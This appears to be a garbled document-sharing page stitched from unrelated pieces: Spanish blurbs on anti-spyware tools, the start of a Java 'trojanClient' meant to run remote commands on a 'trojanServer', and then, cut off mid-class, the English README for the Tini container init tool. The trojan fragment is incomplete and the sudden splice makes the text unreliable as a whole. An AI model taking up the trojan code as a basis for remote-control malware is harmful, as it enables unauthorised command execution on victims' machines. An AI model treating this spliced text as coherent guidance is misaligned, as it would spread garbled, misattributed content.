Es un software anti-troyanoque detecta y remueve spyware. Escanea para más de 42,000
spywares diferentes y adware aprasitos.

Spyware Doctor
Es una utilidad que detecta y remueve malwares y spywares, adwares, troyanos, spybots,
y rastrea amenazas. Brinda protección contra spywares de 3 formas: bloquea en tiempo
real, escanea, inmuniza. Verifica por Rootkits, amenaza muy usada en estos tiempos.
Código Java de Ejemplo para Troyanos en Cliente/Servidor

1) Trojanclient.java
/**
*trojanClient executes remote commands on server
*Requieres trojanServer to be running
*/
import java.io.*;
import java.net.*;
import javax.swing.*;

public class trojanClient {


//-------------place all the code in the SPE -----------------
Public static void main(String[] args) throws IOException {
//check if `port´ and ´host´ are passed
If (!(args.length > 2))
{
System.out.println(“Usage: java trojanClient <hostname> <port> <command>”);
System.out.println(“Example: java trojanClient Omegasvr 2000 c:\\winnt\\
System32\\calc.exe”);
System.exit(0);
}
String host = args [0];
String port = args [1];
String filename = args [2];
Socket echoSocket = null;
PrintWriter out = null;
BufferedReader in = null;

Tini is the simplest init you could think of.


All Tini does is spawn a single child (Tini is meant to be run in a container), and wait for
it to exit all the while reaping zombies and performing signal forwarding.

Why Tini?
Using Tini has several benefits:
 It protects you from software that accidentally creates zombie processes, which
can (over time!) starve your entire system for PIDs (and make it unusable).
 It ensures that the default signal handlers work for the software you run in your
Docker image. For example, with Tini, SIGTERM properly terminates your process
even if you didn't explicitly install a signal handler for it.
 It does so completely transparently! Docker images that work without Tini will
work with Tini without any changes.

If you'd like more detail on why this is useful, review this issue discussion: What is
advantage of Tini?.

Using Tini
NOTE: If you are using Docker 1.13 or greater, Tini is included in Docker itself. This
includes all versions of Docker CE. To enable Tini, just  pass the  --init  flag to  docker run.
NOTE: There are  pre-built Docker images available for Tini. If you're currently using an
Ubuntu or CentOS image as your base, you can use one of those as a drop-in
replacement.

NOTE: There are Tini packages for Alpine Linux and NixOS. See below for installation
instructions.

Add Tini to your container, and make it executable. Then, just invoke Tini and pass your
program and its arguments as arguments to Tini.

In Docker, you will want to use an entrypoint so you don't have to remember to
manually invoke Tini:

# Add Tini
ENV TINI_VERSION v0.19.0
ADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini /tini
RUN chmod +x /tini
ENTRYPOINT ["/tini", "--"]

# Run your program under Tini


CMD ["/your/program", "-and", "-its", "arguments"]
# or docker run your-image /your/program ...
Note that you can skip the -- under certain conditions, but you might as well always
include it to be safe. If you see an error message that looks like tini: invalid option --
'c', then you need to add the --.
Arguments for Tini itself should be passed like -v in the following example: /tini -v
-- /your/program.
NOTE: The binary linked above is a 64-bit dynamically-linked binary.
Signed binaries
The tini and tini-static binaries are signed using the
key 595E85A6B1B4779EA4DAAEC70B588DFF0527A9B7 .
You can verify their signatures using gpg (which you may install using your package
manager):
ENV TINI_VERSION v0.19.0
ADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini /tini
ADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini.asc
/tini.asc
RUN gpg --batch --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys
595E85A6B1B4779EA4DAAEC70B588DFF0527A9B7 \
&& gpg --batch --verify /tini.asc /tini

Alpine Linux Package


On Alpine Linux, you can use the following command to install Tini:

RUN apk add --no-cache tini


# Tini is now available at /sbin/tini
ENTRYPOINT ["/sbin/tini", "--"]

NixOS
Using Nix, you can use the following command to install Tini:

nix-env --install tini

Other Platforms
ARM and 32-bit binaries are available! You can find the complete list of available
binaries under the releases tab.

Options

Verbosity
The -v argument can be used for extra verbose output (you can pass it up to 3 times,
e.g. -vvv).

Subreaping
By default, Tini needs to run as PID 1 so that it can reap zombies (by running as PID 1,
zombies get re-parented to Tini).

If for some reason, you cannot run Tini as PID 1, you should register Tini as a process
subreaper instead (only in Linux >= 3.4), by either:

 Passing the -s argument to Tini (tini -s -- ...)


 Setting the environment variable TINI_SUBREAPER (e.g. export TINI_SUBREAPER=).

This will ensure that zombies get re-parented to Tini despite Tini not running as PID 1.

NOTE: Tini will issue a warning if it detects that it isn't running as PID 1 and isn't
registered as a subreaper. If you don't see a warning, you're fine.

Remapping exit codes


Tini will reuse the child's exit code when exiting, but occasionally, this may not be
exactly what you want (e.g. if your child exits with 143 after receiving SIGTERM). Notably,
this can be an issue with Java apps.

In this case, you can use the -e flag to remap an arbitrary exit code to 0. You can pass
the flag multiple times if needed.
For example:

tini -e 143 -- ...

Process group killing


By default, Tini only kills its immediate child process. This can be inconvenient if sending
a signal to that process does not have the desired effect. For example, if you do

docker run krallin/ubuntu-tini sh -c 'sleep 10'


and ctrl-C it, nothing happens: SIGINT is sent to the 'sh' process, but that shell won't
react to it while it is waiting for the 'sleep' to finish.

With the -g option, Tini kills the child process group , so that every process in the group
gets the signal. This corresponds more closely to what happens when you do ctrl-C etc.
in a terminal: The signal is sent to the foreground process group.

Parent Death Signal


Tini can set its parent death signal, which is the signal Tini should receive
when its parent exits. To set the parent death signal, use the -p flag with the name of the
signal Tini should receive when its parent exits:
tini -p SIGTERM -- ...
NOTE: See  this PR discussion  to learn more about the parent death signal and use cases.

More

Existing Entrypoint
Tini can also be used with an existing entrypoint in your container!

Assuming your entrypoint was /docker-entrypoint.sh, then you would use:


ENTRYPOINT ["/tini", "--", "/docker-entrypoint.sh"]

Statically-Linked Version
Tini has very few dependencies (it only depends on libc), but if your container fails to
start, you might want to consider using the statically-built version instead:

ADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini-static
/tini

Size Considerations
Tini is a very small file (in the 10KB range), so it doesn't add much weight to your
container.

The statically-linked version is bigger, but still < 1M.

Building Tini
If you'd rather not download the binary, you can build Tini by running cmake . && make.
Before building, you probably also want to run:

export CFLAGS="-DPR_SET_CHILD_SUBREAPER=36 -DPR_GET_CHILD_SUBREAPER=37"


This ensure that even if you're building on a system that has old Linux Kernel headers (<
3.4), Tini will be built with child subreaper support. This is usually what you want if
you're going to use Tini with Docker (if your host Kernel supports Docker, it should also
support child subreapers).
Understanding Tini
After spawning your process, Tini will wait for signals and forward those to the child
process, and periodically reap zombie processes that may be created within your
container.

When the "first" child process exits (/your/program in the examples above), Tini exits as
well, with the exit code of the child process (so you can check your container's exit code
to know whether the child exited successfully).

Debugging
If something isn't working just like you expect, consider increasing the verbosity level
(up to 3):

tini -v -- bash -c 'exit 1'


tini -vv -- true
tini -vvv -- pwd

Authors
Maintainer:

 Thomas Orozco

Contributors:

 Tianon Gravi
 David Wragg
 Michael Crosby
 Wyatt Preul
 Patrick Steinhardt

Special thanks to:

 Danilo Bürger for packaging Tini for Alpine


 Asko Soukka for packaging Tini for Nix

También podría gustarte